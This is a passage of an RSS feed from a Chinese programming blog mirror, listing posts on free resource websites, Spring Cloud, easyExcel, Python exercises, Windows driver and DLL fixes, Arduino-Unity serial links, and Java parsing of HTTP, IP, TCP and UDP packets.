篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;点开之后会展示更加详细的分类和科目，更六的是它还能直接进行线上测试，和考试一样，交卷就能评分，妥妥的刷题必备网站。&#xA;3、第一教程网&#xA;https://www.diyijc.com/&#xA;觉得刷题不够，那么我们就来直接学习。这是一个非常良心的教学网站，从学前教育到小学、初中、高中、大学、甚至是考研，这里都给我们提供了免费的课程资源，同时在学习视频观看过程中，不会有任何的广告，就是这么良心。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;当然它的功能并不仅仅局限于此，它同时为我们提供了各种资格证的资料，例如英语四六级教师资格、财务会计文化考试等等，它全部免费亲传给你。&#xA;二、图片资源类&#xA;1、彼岸图网&#xA;https://pic.netbian.com/index_2.html&#xA;这是我最喜欢的壁纸网站，没有之一。首先这里都是分辨率超高的壁纸，图片的质量可以完全不用担心。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;它的壁纸类型丰富，4K风景、4K动漫、4K科技，随意打开一个里面的资源，都会让你欲罢不能，不下载都对不起自己、&#xA;2、壁纸网&#xA;http://www.bizhi88.com/&#xA;这个网站是英文版的，但是丝毫不影响我们的使用。它的界面足以征服任何一个壁纸站，在这里我们可以按照屏幕的分辨率、壁纸的分辨率进行选择。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;这里壁纸的类型更是超级丰富，不过这里面的资源偏限于科技类型的，图片的质量也是相当不错的，点击之后就可以直接进行下载，非常的方便。&#xA;三、办公工具类&#xA;1、PDF转换&#xA;https://www.pdf365.cn/&#xA;安利给经常需要压缩图片、GIF、PDF文件的小伙伴，除了我提到的压缩功能，网站还支持pdf合并和分割，而且网站做得也很简洁美观，体验感非常的棒。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;目前来看，这里所有的功能全部都是免费使用的，每使用一个功能，界面也会进行相应的变化，使用方法也超级简单，直接点击上传文件就可以了，不得不说还是非常厉害的。&#xA;2、LightPDF&#xA;https://lightpdf.com/zh/&#xA;它所包含的功能，可以说是超级的齐全了。大家一眼就可以看到，它几乎支持所有格式之间的转换，同时网站完全免费。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，</description>
    </item>
    <item>
      <title>serial port not selected</title>
      <link>https://bchobby.github.io/posts/857b79829ab250bcf2781e32f29401e5/</link>
      <pubDate>Wed, 20 Oct 2021 23:35:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/857b79829ab250bcf2781e32f29401e5/</guid>
      <description> </description>
    </item>
    <item>
      <title>Spring cloud Alibaba 和Spring cloud Netflix对比</title>
      <link>https://bchobby.github.io/posts/cbfa312337f4d2a95de2fb8aa2cde2e9/</link>
      <pubDate>Wed, 20 Oct 2021 14:57:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbfa312337f4d2a95de2fb8aa2cde2e9/</guid>
      <description> Spring Cloud 是一系列框架的有序集合。它利用 Spring Boot 的开发便利性，巧妙地简化了分布式系统基础设施的开发，如服务注册、服务发现、配置中心、消息总线、负载均衡、断路器、数据监控等，这些都可以用 Spring Boot 的开发风格做到一键启动和部署。&#xA;通俗地讲，Spring Cloud 就是用于构建微服务开发和治理的框架集合（并不是具体的一个框架），主要贡献来自 Netflix OSS。&#xA;1.组件认识 2. 组件对比 </description>
    </item>
    <item>
      <title>easyExcel模板填充数据并合并sheet</title>
      <link>https://bchobby.github.io/posts/5d75fd56ab4da590010b30ef77b826f4/</link>
      <pubDate>Wed, 20 Oct 2021 14:45:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d75fd56ab4da590010b30ef77b826f4/</guid>
      <description>最近给了一个新的需求，就是选择多个发货记录后导出发货记录及发货详情，要求导出的Excel格式如下&#xA;一个表格表示一条发货记录，里面的详情是不确定条数的。&#xA;因为我之前的其他的导出都是使用easyExcel的模板填充做的，所以我想这个能不能也用模板填充实现。&#xA;但存在一个问题就是发货记录是不确定个数的，但模板是写死的。&#xA;后面看到一些文章，发现一个思路：可以将多条发货记录使用模板生成多个sheet，然后再将多个sheet合并成一个。&#xA;一、首先是实现将一个模板填充多个sheet（参考 https://blog.csdn.net/once10/article/details/119616071） 1、实体对象 TrackingdeliveryExcelVO&#xA;package com.hx.admin.erp.response; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; import java.io.Serializable; import java.math.BigDecimal; import java.util.List; /** * &amp;lt;p&amp;gt; * 物流发货单查询返回VO * &amp;lt;/p&amp;gt; * * @author wxb * @since 2021-10-18 */ @Data @EqualsAndHashCode(callSuper = false) public class TrackingdeliveryExcelVO implements Serializable { private static final long serialVersionUID = -2334403249810086977L; /** * id */ @ApiModelProperty(&#34;id&#34;) private Integer id; /** * 物流公司名称 */ @ApiModelProperty(&#34;物流公司名称&#34;) private String logisticsName; /** * 物流公司联系人 */ @ApiModelProperty(&#34;</description>
    </item>
    <item>
      <title>python练习-Python输出不重复的字符</title>
      <link>https://bchobby.github.io/posts/c7df793b6e5fbd15601609c72a833236/</link>
      <pubDate>Wed, 20 Oct 2021 11:11:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7df793b6e5fbd15601609c72a833236/</guid>
      <description>#Python输出不重复的字符 #输入一个字符串，把最左边的10个不重复的字符（大小写算不同字符）挑选出来 #如果不重复的字符不到10个，则按实际数目输出 #输入格式：输入一个字符串s #输出格式：输出一个字符串，包含字符串s最左边10个不重复的字符 #输入样例1：Hello world , hello python #输出样例1：Helo wrd,h def unique(s): set1 = set([]) out = &#34;&#34; for i in range(len(s)): c = s[i] if c not in set1: out = out + c set1.add(c) return out[0:10] def main(): string = &#34;Hello world , hello python&#34; ret = unique(string) print(ret) if __name__ == &#39;__main__&#39;: main() 运行结果：</description>
    </item>
    <item>
      <title>win7安装python，无法启动此程序,因为计算机丢失api-ms-win-crt-runtime-l1-1-0.dlll_api-ms-*.dll文件丢失成功解决方法</title>
      <link>https://bchobby.github.io/posts/4c4a1a2aa0693c1cd57acd5021400ed7/</link>
      <pubDate>Wed, 20 Oct 2021 10:55:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c4a1a2aa0693c1cd57acd5021400ed7/</guid>
      <description>安装python后，查看python是否安装成功，在cmd输入python ,提示“无法启动此程序,因为计算机丢失api-ms-win-crt-runtime-l1-1-0.dlll_api-ms-*.dll文件丢失成功解决方法”&#xA;通过网络查询后，都说是VC++运行库的问题&#xA;方法一：出现这个问题是因为本地api-ms-win-crt-runtime-l1-1-0.dll 版本过低或者不存在。&#xA;Visual C++ Redistributable for Visual Studio 2015 安装包的官方下载地址：&#xA;https://www.microsoft.com/zh-cn/download/details.aspx?id=48145&#xA;于是下载安装还是无法解决&#xA;方法二（无效）：&#xA;下载 api-ms-win-runtime-1-1-0.dll 进行替换&#xA;32位&amp;amp;64位对应路径：&#xA;C:\Windows\System32 (Windows 7/8/2008r2) C:\Windows\SysWOW64 (Windows 7/8/2008r2) 方法三：（成功解决）&#xA;只需要安装两个系统更新补丁： KB2999226、KB3118401&#xA;KB2999226 微软下载链接&#xA;Update for Universal C Runtime in Windows&#xA;KB3118401 微软下载链接&#xA;Update for Universal C Runtime in Windows&#xA;下载后安装即可正常使用程序。</description>
    </item>
    <item>
      <title>Windows Server 2022 安装Intel I219V 服务器网卡</title>
      <link>https://bchobby.github.io/posts/02064f10941eeef47c6a0cbdb20ac238/</link>
      <pubDate>Tue, 19 Oct 2021 19:26:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02064f10941eeef47c6a0cbdb20ac238/</guid>
      <description>随着Windows Server 2022发布，目前我正对公司内的电脑新系统更新。在向一台主板是华硕B150M-Plus的电脑时，网卡识别不出。这正是Intel I219V 服务器版网卡。&#xA;从Intel 官网下载了最新的26.4驱动，但是识别不了。 在下载前的筛选阶段，发现最高还是支持到Windows server 2019.&#xA;经过一番搜索和实验，确定了使用Windows Server 2022 自带的 I219-LM 或者 I218-LM，都可以使用。这里记录一下方法。&#xA;1.如果没有安装，则会显示一个黄色的感叹号，这时，右击，选择“更新驱动程序”&#xA;注意： 这里的网卡型号 是 (9) I219-LM&#xA;2.在弹出的对话框中，选择“浏览我的电脑一查找驱动程序”&#xA;3.在新对话框中，选择 “ 让我从计算机上的可用驱动程序列表中选取”&#xA;4.再一步，从厂商列表里找到 Intel，在型号列表里，选择结尾是 I218-LM、或者I219-LM 的任意驱动即可，没有差别的。&#xA;5. 然后回弹出警告，直接无视即可。&#xA;6.提示安装成功&#xA;注意： 这里的网卡型号 是 I218-LM</description>
    </item>
    <item>
      <title>C# ②字符串的长度 Length</title>
      <link>https://bchobby.github.io/posts/cbdfb0d2bc8b744bdfa6ca0939041e90/</link>
      <pubDate>Tue, 19 Oct 2021 18:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbdfb0d2bc8b744bdfa6ca0939041e90/</guid>
      <description>string A = &#34;ABCD&#34;; Console.WriteLine($&#34;{A}的长度为{A.Length}个字符。&#34;); 使用属性Length可以返回字符串的字符数。</description>
    </item>
    <item>
      <title>MybatisPlus 只取一条记录</title>
      <link>https://bchobby.github.io/posts/1a53d301f20437b780b4c677391503cc/</link>
      <pubDate>Tue, 19 Oct 2021 17:53:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a53d301f20437b780b4c677391503cc/</guid>
      <description>建议再使用Mapper的selectOne()方法时需要确保查询结果不能有多条,不然会报以下错误：&#xA;而使用IService的getOne(Wrapper queryWrapper)，同样存在这样的问题;&#xA;如果希望他在获取到多条数据的时候只取第一条那应该使用 T getOne(Wrapper queryWrapper, boolean throwEx)，throwEx为true时获取到多条报错，为false时只取第一条&#xA;public T getOne(Wrapper&amp;lt;T&amp;gt; queryWrapper, boolean throwEx) { return throwEx ? this.baseMapper.selectOne(queryWrapper) : SqlHelper.getObject(this.log, this.baseMapper.selectList(queryWrapper)); } 不过这样做有个弊端，就是当数据异常的时候，可能查询了多条数据（虽然最后只给你返回了一条），但这样可能会使服务器承担额外的负担，最好还是在查询的后面添加limit 1。&#xA;但这样的话每次都要在查询条件后面拼接limit 1 有点麻烦&#xA;受大佬启发，发现可以在service中写一个默认方法&#xA;public interface xxxService extends IService&amp;lt;xxx&amp;gt;{ /** * 仅有一条数据 * @param wrapper * @return */ default xxx getOnly(QueryWrapper&amp;lt;xxx&amp;gt; wrapper){ wrapper.last(&#34;limit 1&#34;); return this.selectOne(wrapper); }; } https://blog.csdn.net/javaboyweng/article/details/114143684</description>
    </item>
    <item>
      <title>arduino向unity3D工程中传递参数</title>
      <link>https://bchobby.github.io/posts/662f56702ab8f0c2bbfc960954ac9400/</link>
      <pubDate>Tue, 19 Oct 2021 17:37:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/662f56702ab8f0c2bbfc960954ac9400/</guid>
      <description>问题描述 传感器获取信号，在arduino中以参数的形式表现。此时，我希望在unity中调取这个参数并利用这个参数做一些事情，因此，需要实现unity3d获取arduino中参数。&#xA;unity3的向arduino发送信号的教程见：在Visual Studio2019 中获取arduino端口的信息&#xA;从而最终实现unity3d中VS与arduino的信息双向传递。&#xA;具体过程 在unity3d的部分：&#xA;1，定义一个物体，然后将控制脚本挂在上面&#xA;2.端口信息定义见上面的参考文档&#xA;3.读取函数&#xA;//读取数据 public void ReadData() { if (serialPort_1.IsOpen) { string a=serialPort_1.ReadExisting(); print(&#34;数据为：&#34;); print(a); Thread.Sleep(200); } else { Debug.Log(&#34;Port is not opened&#34;); } } 以上完成在VS中的设置&#xA;arduino中的设置&#xA;void setup() { // put your setup code here, to run once: Serial.begin(9600); } int p1=3; void loop() { Serial.println(p1); delay(200); // put your main code here, to run repeatedly: }``` 注意不要使用Serial.print，那样在unity中显示会出现重复读取的错误 ## 效果 !</description>
    </item>
    <item>
      <title>递归--给每一项新增属性</title>
      <link>https://bchobby.github.io/posts/2f136561cbb50346b3d3468070521028/</link>
      <pubDate>Mon, 18 Oct 2021 19:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f136561cbb50346b3d3468070521028/</guid>
      <description> format(arr) { arr.forEach((el) =&amp;gt; { if (el.children &amp;amp;&amp;amp; el.children.length &amp;gt; 0) { el.value = el.id; el.label = el.orgName; this.format(el.children); } else { el.value = el.id; el.label = el.orgName; } }); return arr; }, </description>
    </item>
    <item>
      <title>HTTP/HTTPS协议详解（1）HTTP</title>
      <link>https://bchobby.github.io/posts/e2c09512cd5e64671c23c4354e0ffd20/</link>
      <pubDate>Mon, 18 Oct 2021 13:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2c09512cd5e64671c23c4354e0ffd20/</guid>
      <description>正文 HTTP报文格式 在http协议中采用制表符（\r）+ 换行符（\n）将每个节点数据分割开，每个节点包含不同信息，需要进一步处理。具体处理为：&#xA;请求行：请求行中包括3个信息 依次为：请求方法 、url(访问路由地址)、 Http版本。 请求方法：标识表示该报文采用的是那种请求方式，在HTTP报文中的第一个字节。包含如下值 G（GET）、H(HEAD)、P（POST）、D（DELETE）、O（OPTIONS）、T（TRACE）、C（CONNECT）。若为22则为HTTPs请求。请求方法在HTTP报文中第一个字节。url：这里的url代表的是需要访问的数据在主机中的路由地址。主机 + url就得到一个数据访问地址去访问特定数据。HTTP版本：这里存储的是HTTP版本号 格式如：HTTP/1.0 报文头：报文头中包括一系列的信息包括主机信息。每个信息以键值对的形式存储，键与值之间以冒号加一个空格‘: ’分开，每个信息以制表符加换行符分割。具体参见HTTP请求头大全空行： 空行的作用是将数据头与数据体分开。HTTP协议规定报头与数据体之间必须要用空行分割，没有数据体时任需要有。数据体：数据体中包含所有需要发送给应用处理的信息，信息与信息以符号‘&amp;amp;’连接，信息以键值对存储，键与值间用符号‘=’连接。 以下是具体实现的代码：&#xA;public class HttpPacket extends Packet{ private boolean isHttp; private boolean isHttps; private boolean isOther; private String requestMethod; private String requestUrl; private String httpVersion; private String httpHost; private String httpUrl; private String dataLien; private String[] keyLines; private Map&amp;lt;String,String&amp;gt; keys = new HashMap&amp;lt;&amp;gt;(); private Map&amp;lt;String,String&amp;gt; datas = new HashMap&amp;lt;&amp;gt;(); public HttpPacket(byte[] bytes, int... parameters) { super(bytes, parameters); parse(); } /** * 解析数据 * G : GET * H : HEAD * P : POST * D : DELETE * O : OPTIONS * T : TRACE * C : CONNECT */ private void parse(){ switch (bytes[offset]){ case &#39;G&#39;: case &#39;H&#39;: case &#39;P&#39;: case &#39;D&#39;: case &#39;O&#39;: case &#39;T&#39;: case &#39;C&#39;: isHttp = true; isHttps = false; parseHttp(); break; case 22: isHttp = false; isHttps = true; break; default: isOther = true; isHttp = false; isHttps = false; } } private void parseHttp(){ if(validLength - offset &amp;lt; 10) return; String dataString = new String(bytes,offset,validLength); keyLines = dataString.</description>
    </item>
    <item>
      <title>IP/TCP/UDP报文解析（3）UDP报文</title>
      <link>https://bchobby.github.io/posts/7a2679ed80df59d5cd1088a4b8cc8912/</link>
      <pubDate>Mon, 18 Oct 2021 13:37:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a2679ed80df59d5cd1088a4b8cc8912/</guid>
      <description>目录 前言正文UDP报文格式UDP校验和校验和的计算数据校验UDP数据报解析代码 总结 前言 本文中涉及很多的位运算，如果对位运算不太了解的请看这篇博文《Java中的位运算》。&#xA;正文 UDP报文格式 源端口：占16位 在UDP数据段第1、2字节（下标0、1）中，标识本地端口号。取值 0 - 65535目的端口：占16位 在UDP数据段第3、4字节（下标2、3）中，标识远程端口号。取值0 - 65535总长度：占16位 在UDP数据段第5、6字节（下标4、5）中，标识该报文段包括报头部分的所有数据字节的长度。取值0 - 65535校验和：占16位 在UDP数据段第7、8字节（下标6、7）中，该字段通过校验和计算得出，用于校验数据段是否被正确就收处理。数据：数据为可变长度。由于总长度位的最大取值为65535，所以理论上该值最大为65535 - 8 = 65523字节。 UDP校验和 UDP中的校验和不是必要的，因为即使UDP数据段校验不通过也没办法通知对端重发数据，这也就是为什么UDP可靠性不如TCP的原因。UDP是无连接无状态协议，因为它不像TCP协议一样会经过三次握手建立连接，两端都不知道各自的状态。发信方发出的UDP报文有没有完全送达，自己与对端都不知道。正因为UDP协议不需要三次握手建立连接，每次收到信息后无需发送确认信息，每次发送信息后无需等待对端确认，所以在效率上要高于TCP协议。总的来说，UDP协议的可靠性不如TCP协议，但效率要高于TCP。&#xA;校验和的计算 UDP校验和计算与TCP校验和计算是一样的过程，具体请参见《IP/TCP/UDP报文解析（2）TCP报文》这篇博文。&#xA;数据校验 UDP数据校验与TCP数据校验的过程是一样的，具体请参见 《IP/TCP/UDP报文解析（2）TCP报文》 这篇博文。&#xA;UDP数据报解析代码 public class UDPPacket extends Packet{ private static final String TAG = UDPPacket.class.getSimpleName(); static final int SOURCE_PORT_BIT = 0; static final int DESTINATION_PORT_BIT = 2; static final int TOTAL_LENGTH_BIT = 4; static final int CHECK_SUM_BIT = 6; private byte[] pseudoHeader; public UDPPacket(byte[] bytes , int.</description>
    </item>
    <item>
      <title>IP/TCP/UDP报文解析（1）IP报文</title>
      <link>https://bchobby.github.io/posts/c9aaa9c629cce7d438b290282c1b7cc6/</link>
      <pubDate>Mon, 18 Oct 2021 13:36:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9aaa9c629cce7d438b290282c1b7cc6/</guid>
      <description>目录 前言正文IP报文格式一览IP校验和校验和计算校验数据 片偏移的计算报文解析代码 总结 前言 关于IP报文的解析涉及到很多位运算的使用，如果不熟位运算规则的小伙伴，可以查看我的这篇博文《Java中的位运算》&#xA;正文 IP报文格式一览 一个完整的IP包通常被看做 首部 和 数据 两部分，首部中又包含 固定长度（20字节）和可变长度（最大60-20=40字节），IP报头包含以下数据：&#xA;版本号：在IP数据报中第1个字节的前4位，现在有IPv4和IPv6 两个IP协议版本，所以这里可能的值有0010（IPv4 十进制 4）和 0100（IPv6 十进制6），端与端之间只有同协议版本才能正常通信。首部长：首部长的作用是标识IP报头的长度，在IP报文中第1个字节的后4位，其最大取值为15，其单位为4字节，即首部长最大为15 * 4 = 60字节，通常IP报头默认长度为5 * 4 = 20字节。服务类型：服务类型的作用是标识IP报文的处理方式，在IP报文中第2个字节。前三位代表包的处理优先级，取值范围0-7,0为最低 7为最高。后4位是TOS（注意TOS之前还有一个位无效位），表示本数据报在传输过程中需要得到的服务，依次表示为 D（Minimum delay）最小延迟、T（Maximum throughput）最大传输率、R（Maximum reliability）最高可靠性、C(Minimum cost)最小成本。这里的服务类型只是代表用户希望得到的服务，并不一定要强制执行。总长度：总长度的作用是标识IP报文首部分+数据部分的总长度，在IP报文中第3、4字节中，其最大取值为65535，其单位为1字节，所以一个IP报最大为65535 * 1 = 65535字节。序列号：序列号的作用是标识该IP报文请求，由发起请求方随机生成且本地唯一，每次分包在上一个包基础上该值+1填入，在IP报文中第5、6字节中。标志位：标志位的作用是标识该IP报是否发生分片行为DF（Don’t fragment）和是否还有分片MF（More Fragment） ，在IP报文中第7个字节的前3位，但只有后两位是有效的，依次为0 DF MF。有三个可能的值：未发生分片010、发生分片且该包后续没有分片000、发生分片且该包后续还有分片001。片偏移： 片偏移的作用是在IP报发生分包时标识该包中的数据相对于原始数据的起始位置，在IP报文中第7个字后5位和第8个字节。最大取值8191，单位是8字节，所以片偏移的最大值为8191 * 8 = 65528字节。生存时间：生存时间的作用是标识该请求能穿过路由的最大次数，以防止路由环路。该值每经过一次网络路由后减小1，信息送达或该值为0时停止传递。在IP报文中第9个字节中。上层协议：上层协议标识IP包中数据部分是属于那种协议的封装，在数据报中第10个字节。列举几个常用的值 : 协议二进制十进制TCP000001106UDP0001000117ICMP000000011IGMP000000102OSPF0101100189 首部校验和：首部校验和用来校验IP报头是否准确。在IP数据报的第11、12个字节中，关于校验和的计算和使用等下再说。源IP地址：源IP地址标识这个IP包的初始发送地址，在IP数据报的第13、14、15、16个字节中，所以IP地址通常被写为255.255.255.255这样的格式。目的IP地址：目的IP地址标识这个IP包最终送达的地址。选项和填充：作用是附加IP包处理信息，可变长度，最大为40字节。 IP校验和 校验和计算 计算首部校验和的过程如下&#xA;将首部校验和置零如果首部的字节长度为奇数，则在计算时需要在首部末尾添加一个全为0的空字节将首部中所有字节划分成16位长度的数进行相加求和和的溢出位折叠求和。将和做非运算得到最终校验和将校验和填入首部校验和位。 具体实现请看文末的代码。&#xA;校验数据 校验数据相对简单，大体上和计算时差不多，只是校验计算的时候不需要重置校验和位，最后的结果为0时说明该IP报文正确，若不为0说明该报文错误将其丢弃。&#xA;片偏移的计算 由于数据链路层单次发送的数据单元最大为1500字节（1贞的大小 这个值貌似受源机硬件影响），所以当IP报文总长度大于这个值的时候，数据链路层会对IP包进行拆分发送，当产生分包后，每个包中的数据相对于原始IP包中的数据，就会有一个衔接位置，那么这个位置该如果计算呢？&#xA;这里举例说明，假如：一个原始IP包总长度4000，报头长20。&#xA;当发送第1个拆分包的时候，其数据起始位就是IP包起始位，所以其偏移为0，目前发送出去的数据就是1500 - 20 = 1480字节（下标0 - 1479），剩余数据2520，还有拆分包。</description>
    </item>
    <item>
      <title>IP/TCP/UDP报文解析（2）TCP报文</title>
      <link>https://bchobby.github.io/posts/8181267cde4d21c2a77ec538060f912a/</link>
      <pubDate>Mon, 18 Oct 2021 13:35:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8181267cde4d21c2a77ec538060f912a/</guid>
      <description>目录 前言正文TCP报文格式TCP建立连接过程TCP数据传输过程TCP断开连接时的挥手过程TCP/UDP校验和的计算与数据校验伪首部格式计算校验和验证校验和 完整代码 总结 前言 本文中涉及很多的位运算，如果对位运算不太了解的请看这篇博文《Java中的位运算》。&#xA;正文 TCP报文格式 源端口： 占16位 在第1、2字节（下标0、1）中，标识信源机1发送该信息时所分配的端口2。目的端口：占16位 在第3、4字节（下标2、3）中，标识最终收信端主机用来处理该信息时分配的端口。序列码：占32位 在第5、6、7、8字节（下标4、5、6、7）中，标识数据报序列。确认码：占32位 在第9、10、11、12字节（下标8、9、10、11）中，标识确认数据序列。首部长：占4位 在第13字节前4位（下标12）中。标识TCP数据报的首部长度，单位是4字节，所以最大取值为15*4=60字节。第13字节后4位与第14字节的前2位组成6位全为0的预留位，暂无定义标志位：占6位 在第14字节后6位（下标13）中。标识该数据报的行为。其值依次为： URG(urgent) :紧急标志 当URG =1时，表明紧急字段有效，告诉系统此报文中有紧急数据，应尽快传送。于是发送方TCP就把紧急数据插入到本报文段数据的最前面，而在紧急数据后面的数据仍是普通数据。这时要与首部中紧急指针字段配合使用。ACK(acknowledge)：授权标志 可以理解为对端对上一次请求验证通过，可以继续后续行为。所以仅当ACK = 1时确认号字段才有效，TCP规定，连接建立后所有传送的报文段都必须把ACK置1。PSH(push)：推标志 当两端进行交互式的通信时，有时某一端进程希望在键入一个命令后立即就能收到对端的响应。在这种情况下，TCP就可以将PSH位置为1使用推送操作，对端收到数据报后直接进行处理，不会被加入等待队列。RST(reset)：复位标志 当复位标志生效时，表明连接中出现严重错误，必须释放连接，然后再重新建立运输连接。SYN(synchronous)：同步标志 该标志位只在建立连接前两次握手请求中生效。当该值为1时表示该报文是一个请求连接的报文或授权连接的报文。FIN（fin）:结束标志 该标志只在断开TCP连接时生效。该值为1时标识某一端发出了断开连接的请求。 窗口大小：占16位 在第15、16字节（下标14、15）中。窗口大小的作用是数据接收方通告数据发送方自己单次能处理的数据大小，数据发送方根据这个值来确定自己单次发送数据的量，避免发送方因发送数据过快，接收方由于某些原因数据处理较慢，从而造成的丢包重发性能消耗。因其是16位，所以最大取值为65535字节。具体解释请参见《TCP报头里的那个窗口大小到底是指什么》，在此对该博主表以诚挚感谢！校验和：占16位 在第17、18字节（下标16、17）中。用于校验整个报文的准确性，包括首部和数据部分。紧急指针：占16位 在第19、20字节（下标18、19）中。紧急指针仅在紧急标志生效时才有意义，它指出本报文段中的紧急数据结束序号。该报文段的起始序号到这个序号就是该报文段中需要紧急处理的数据。该序号+1就是普通数据序号。即使窗口为0时也可发送紧急数据。选项和填充：可变长度。作用是在报头中添加特殊选项。当没有选项和填充时报头长度是20字节。一般这里会填入一个最大报文段长度MSS，MSS指每一个TCP报文段中的数据字段的最大长度。数据：可变长度。上层协议（一般指HTTP/HTTPs）封装后的报文数据。 TCP建立连接过程 TCP建立连接时会经历3次授权确认的过程，具体如下：&#xA;客户端随机生成一个数据初始序列号（seq）填入序列码字节中,作为数据存储的起始序号和该次数据段的存储起始位置。将SYN标志位置为1，发送连接申请给服务器端。服务器端收到连接申请后，随机生成一个验证码填入序列码字节中，作为客户端收到授权信息时的确认码。将客户端发来的数据序列码+1后填入确认序列码字节中，作为对客户端的连接申请的确认和该次数据段的存储起始位置，将ACK和SYN位都置为1，发送连接确认给客户端。客户端收到连接确认后，将服务器返回的确认序列码+1填入序列码字节中，作为该段的数据起始位置。将服务器返回的序列码+1后填入确认序列码字节中，作为客户端对服务器授权的确认，将ACK位置为1，发送成功连接的信息给服务器。到此两端就可以有序的收发数据了。 发送接收标志位序列码确认码clientserviceSYN = 1x–serviceclientSYN = 1 ACK = 1yx +1 = x1clientserviceACK = 1–y + 1 = y1 其中x为客户端报文段的起始序号 随机生成，y为服务端报文段的起始序号 随机生成。序号取值范围0-65535。为什么需要随机生成起始序号呢？是因为如果不是随机产生初始序列号，黑客将会以很容易的方式获取到你与其他主机之间通信的初始化序列号，并且伪造序列号进行攻击，这已经成为一种很常见的网络攻击手段。&#xA;TCP数据传输过程 TCP建立连接后传输数据过程如下&#xA;成功连接后的第1个报文段，客户端将数据初始序号+3填入序列码字节，作为该段报文的存储位置。将初始序号+2填入确认码字节，作为对之前数据段中数据的确认，将PSH和ACK标志位置为1，发送一个推消息告诉服务器自己已经准备就绪，可以开始发送数据了。服务端收到客户端准备就绪的报文后，将收到报文中的序列码+1填入数据序列号中，作为该段报文的起始序号。将这个起始序号+发送数据的长度填入序列码字节中，作为该段报文的结束序号。将ACK标志位置为1，发送数据给客户端。客户端收到数据后，将数据报文中的确认序号+1填入序列码字节，作为客户端报文段的存储位置和数据起始位置。将数据报文中的序列码填入确认序列字节，作为对所有该次数据报文的确认，将ACK标志位置为1，发送给服务器。 重复以上步骤直到数据传递结束，某一段发起断开连接的请求。&#xA;发送接收标志位序列码确认码clientservicePSH = 1 ACK = 1x+3 = x3x+3 = x3serviceclientACK = 1x3 + 1 = x4x4 + data length = x5clientserviceACK = 1x5+1 = x6x5serviceclientACK = 1x6+1 = x7x7+ data length = x8––––––––––clientserviceACK = 1xn+1xnserviceserviceACK = 1xn+2xn+1 其中x为客户端随机的数据初始序号（x+3是因为前面3个序号依次进行了 SYN-SENT(同步已发送)状态、服务器ESTABLISHED(已建立连接)状态，客户端ESTABLISHED(已建立连接)状态。为什么+3后没有+1是因为该报文段只是起到一个通知作用，没有进入到数据序列中）.</description>
    </item>
    <item>
      <title>Edge 浏览器的收藏夹文档位置——最新版windows10和edge</title>
      <link>https://bchobby.github.io/posts/ecfcbb1660187d1f3bb231481c7f8c2d/</link>
      <pubDate>Mon, 18 Oct 2021 10:27:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecfcbb1660187d1f3bb231481c7f8c2d/</guid>
      <description>由于windows server 2022 发布，将原有的工作PC升级了一下硬盘，安装了系统，为了保留原有的收藏夹的内容，找了好久 收藏夹文档的位置。 结果度娘提供的结果都是比较老的，系统里面根本没有 “Microsoft.MicrosoftEdge_8wekyb3d8bbwe”这个文件夹。&#xA;真实的文件地址： C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks&#xA;C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks.bak&#xA;把这两个文档复制到新电脑的对应路径，重启edge即可！！！</description>
    </item>
    <item>
      <title>vscode常用插件-Auto Close Tag</title>
      <link>https://bchobby.github.io/posts/8a22229121963ae079c2783216f6d8cf/</link>
      <pubDate>Sun, 17 Oct 2021 20:52:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a22229121963ae079c2783216f6d8cf/</guid>
      <description>1. 插件作者: Jun Han&#xA;2. 作用: 自动补全结束标签&#xA;// 输入 &amp;lt;MyTag&amp;gt; // 就可以自动补全 &amp;lt;MyTag&amp;gt;&amp;lt;/MyTag&amp;gt; 3. 配置: 不需要配置, 直接下载就可用</description>
    </item>
    <item>
      <title>stm32f103c8t6&#43;编码电机利用PID算法组成的绝对匀速小车</title>
      <link>https://bchobby.github.io/posts/bfcb60318106e7c392b36d1dd7919f1c/</link>
      <pubDate>Sat, 16 Oct 2021 22:34:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfcb60318106e7c392b36d1dd7919f1c/</guid>
